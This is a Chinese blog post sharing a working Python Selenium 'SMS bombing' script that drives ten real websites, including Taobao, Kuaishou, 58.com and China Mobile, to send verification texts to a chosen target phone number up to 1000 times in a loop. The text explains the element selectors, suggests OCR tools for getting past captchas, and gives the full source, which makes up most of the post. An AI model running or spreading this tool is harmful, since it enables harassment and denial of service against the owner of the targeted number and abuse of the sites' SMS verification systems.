python selenium短信轰炸代码

2021-12-25 19:35:10 浏览数 (1)

简述

代码可以理解为两方面。一部分是借助python的selenium库来实现自动化与网页交互,另一部分是借助网站平台在登录时,可以通过发送手机验证码来实现,

第一部分

第一方面中还要说明的是,我在爬取获取网站元素时采用的是By.xpath这种方法。而xpath是最不建议使用的,因为只要网站改动一点,代码就会失效。好多都可以改成id或者class_name。但有时侯class_name不一定是唯一的,这一点需要注意,有什么解决办法吗?可以通过父节点或者子节点来获取

举一个用class_name的例子

代码语言:javascript复制
def kuaishou():
    driver = webdriver.Chrome(r"C:\\Users\\86151\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe")#存放你自己的webdriver的路径
    driver.get ( "<https://www.kuaishou.com/?utm_source=bb&utm_medium=01&utm_campaign=MIXED_HAO123_DC_XXL_CPT&location=01_mingzhan_2_7>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_class_name('user-default').click()
    driver.find_element_by_class_name('pl-input-text').send_keys(phone)
    driver.find_element_by_class_name('get-verification').click()
    sleep(1)
    driver.quit()

举一个用id的例子

代码语言:javascript复制
def tonhcheng58():
    driver = webdriver.Chrome(r"C:\\Users\\86151\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe")
    driver.get ( "<https://passport.58.com/reg/?path=https://su.58.com/?utm_source=market&spm=b-31580022738699-me-f-862.mingzhan&source=58-homepage-pc&utm_source=market&spm=b-31580022738699-me-f-862.mingzhan&PGTID=0d100000-0000-5c8d-b15b-7e4b9a57dc48&ClickID=2>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_id('mask_body_item_phonenum').send_keys(phone)
    driver.find_element_by_id('mask_body_item_getcode').click()
    sleep(1)
    driver.quit()

第二部分

我在爬取网站的时候,刻意避开了验证码问题。因为处理验证码的时间和正确率不忍直视,识别三次成功一次这个样子。如果有小伙伴想添加验证码的网站,可以使用tesseract,官网链接我会贴在下面。

常见问题

  1. 不能运行,看看是否安装webdriver。我用的是谷歌浏览器,所以使用的是谷歌的webdriver,请安装对应浏览器的对应版本。
  2. tesseract官网:https://tesseract-ocr.github.io/
  3. 有些网站限制用户单日发送验证码的次数

源代码部分

代码语言:javascript复制
from selenium import webdriver
from time import sleep
phone = 000000#你的目标手机号码
number = 1000#轰炸次数

def kuaishou():
    driver = webdriver.Chrome(r"C:\\Users\\86151\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe")#存放你自己的webdriver的路径,下面几个都需要改
    driver.get ( "<https://www.kuaishou.com/?utm_source=bb&utm_medium=01&utm_campaign=MIXED_HAO123_DC_XXL_CPT&location=01_mingzhan_2_7>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_xpath('//*[@id="app"]/div[1]/section/div/div/header/div/div[3]/ul/li[3]/div/p').click()
    driver.find_element_by_xpath('//*[@id="app"]/div[2]/div/div/div/div/div[1]/div/div[1]/div/input').send_keys(phone)
    driver.find_element_by_xpath('//*[@id="app"]/div[2]/div/div/div/div/div[1]/div/div[2]/div/div/span').click()
    sleep(1)
    driver.quit()
def TaoBao():
    driver = webdriver.Chrome(r"C:\\Users\\86151\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe")
    driver.get ( "<https://reg.taobao.com/member/reg/fast/union_reg?_regfrom=TB>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_xpath('//*[@id="container"]/div/div[2]/div[1]/div/div/div[2]/input').send_keys(phone)
    driver.find_element_by_xpath('//*[@id="container"]/div/div[2]/div[2]/div/div/div[2]/a').click()
    sleep(1)
    driver.quit()
def tonhcheng58():
    driver = webdriver.Chrome(r"C:\\Users\\86151\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe")
    driver.get ( "<https://passport.58.com/reg/?path=https://su.58.com/?utm_source=market&spm=b-31580022738699-me-f-862.mingzhan&source=58-homepage-pc&utm_source=market&spm=b-31580022738699-me-f-862.mingzhan&PGTID=0d100000-0000-5c8d-b15b-7e4b9a57dc48&ClickID=2>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_xpath('//*[@id="mask_body_item_phonenum"]').send_keys(phone)
    driver.find_element_by_xpath('//*[@id="mask_body_item_getcode"]').click()
    sleep(1)
    driver.quit()
def gaodun():
    driver = webdriver.Chrome(r"C:\\Users\\86151\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe")
    driver.get ( "<https://www.gaodun.com/>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_xpath('//*[@id="applyLoginId"]').click()
    driver.find_element_by_xpath('//*[@id="js_changeOtherType"]').click()
    driver.find_element_by_xpath('//*[@id="js_GaodunLoginOrderPhone"]').send_keys(phone)
    driver.find_element_by_xpath('//*[@id="js_GaodunLoginPullCode"]').click()
    sleep(1)
    driver.quit()
def yidong():
    driver = webdriver.Chrome(r"C:\\Users\\86151\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe")
    driver.get ( "<https://login.10086.cn/login.html?channelID=12003&backUrl=https://shop.10086.cn/i/?f=home>" )
    driver.maximize_window()
    sleep(0.5)
    driver.find_element_by_xpath('//*[@id="J_pc"]').click()
    # driver.find_element_by_id("hr_label_phonelogin").click()
    driver.find_element_by_xpath('//*[@id="sms_name"]').send_keys(phone)
    driver.find_element_by_xpath('//*[@id="getSMSPwd1"]').click()
    sleep(2)
    driver.quit()
def liepin():
    driver = webdriver.Chrome(r"C:\\Users\\86151\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe")
    driver.get ( "<https://www.liepin.com/>" )
    driver.maximize_window()
    sleep(1.5)
    driver.find_element_by_xpath('//*[@id="tel"]').send_keys(phone)
    # sleep(2)
    driver.find_element_by_xpath('//*[@id="home-banner-login-container"]/div/div/div/div/div[3]/div/form/div[2]/div/div/div/span/span/span/div').click()
    sleep(1)
    driver.quit()
def migu():
    driver = webdriver.Chrome(r"C:\\Users\\86151\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe")
    driver.get ( "<https://passport.migu.cn/portal/user/register/msisdn?sourceid=220001&callbackURL=https://music.migu.cn/v3>" )
    driver.maximize_window()
    sleep(1.5)
    driver.find_element_by_xpath('/html/body/div[1]/div/table/tbody/tr[2]/td[2]/div/table/tbody/tr[2]/td[2]/div/a').click()
    # sleep(1)
    driver.find_element_by_xpath('//*[@id="J_Phone"]').send_keys(phone)
    # sleep(1)
    driver.find_element_by_xpath('//*[@id="J_GetMsgCode"]').click()
    sleep(1)
    driver.quit()
def xueqiu():
    driver = webdriver.Chrome(r"C:\\Users\\86151\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe")
    driver.get ( "<https://xueqiu.com/>" )
    driver.maximize_window()
    sleep(2)
    # driver.find_element_by_xpath('//*[@id="app"]/nav/div[1]/div[2]/div/div/span').click()
    driver.find_element_by_xpath('/html/body/div[2]/div[1]/div/div/div/div[2]/div[1]/div[1]/div[1]/a[1]').click()
    sleep(1)
    driver.find_element_by_xpath('/html/body/div[2]/div[1]/div/div/div/div[2]/div[1]/div[1]/div[2]/div/div/form/div[1]/input').send_keys(phone)
    sleep(1)
    driver.find_element_by_xpath('/html/body/div[2]/div[1]/div/div/div/div[2]/div[1]/div[1]/div[2]/div/div/form/div[1]/span[2]').click()
    sleep(1)
    driver.quit()
def ku6():
    driver = webdriver.Chrome(r"C:\\Users\\86151\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe")
    driver.get ( "<https://video-center.ku6.com/video-center/user/register>" )
    driver.maximize_window()
    sleep(1.5)
    driver.find_element_by_xpath('//*[@id="phone"]').send_keys(phone)
    # sleep(1)
    driver.find_element_by_xpath('//*[@id="codeBut"]').click()
    sleep(1)
    driver.quit()
def newpianchang():
    driver = webdriver.Chrome(r"C:\\Users\\86151\\AppData\\Local\\Google\\Chrome\\Application\\chromedriver.exe")
    driver.get ( "<https://passport.xinpianchang.com/signup?redirect_uri=https://www.vmovier.com/>" )
    driver.maximize_window()
    sleep(1.5)
    driver.find_element_by_xpath('//*[@id="signup_nickname"]').send_keys('saodoiad7987')
    driver.find_element_by_xpath('//*[@id="signup_phone"]').send_keys(phone)
    # sleep(1)
    driver.find_element_by_xpath('//*[@id="__next"]/section/main/div[2]/div/div/div/form/div[3]/div/div/span/span/span/span/a').click()
    sleep(1)
    driver.quit()
for i in range(number):
    kuaishou()
    print("{}  第{}次  发送成功  {}".format(phone,i,"快手"))
    TaoBao()
    print("{}  第{}次  发送成功  {}".format(phone,i,"淘宝"))
    tonhcheng58()
    print("{}  第{}次  发送成功  {}".format(phone,i,"58同城"))
    gaodun()
    print("{}  第{}次  发送成功  {}".format(phone,i,"高顿教育"))
    yidong()
    print("{}  第{}次  发送成功  {}".format(phone,i,"移动"))
    liepin()
    print("{}  第{}次  发送成功  {}".format(phone,i,"猎聘"))
    migu()
    print("{}  第{}次  发送成功  {}".format(phone,i,"咕米音乐"))
    xueqiu()
    print("{}  第{}次  发送成功  {}".format(phone,i,"雪球"))
    ku6()
    print("{}  第{}次  发送成功  {}".format(phone,i,"酷6视频"))
    newpianchang()
    print("{}  第{}次  发送成功  {}".format(phone,i,"新片场"))
    

0 人点赞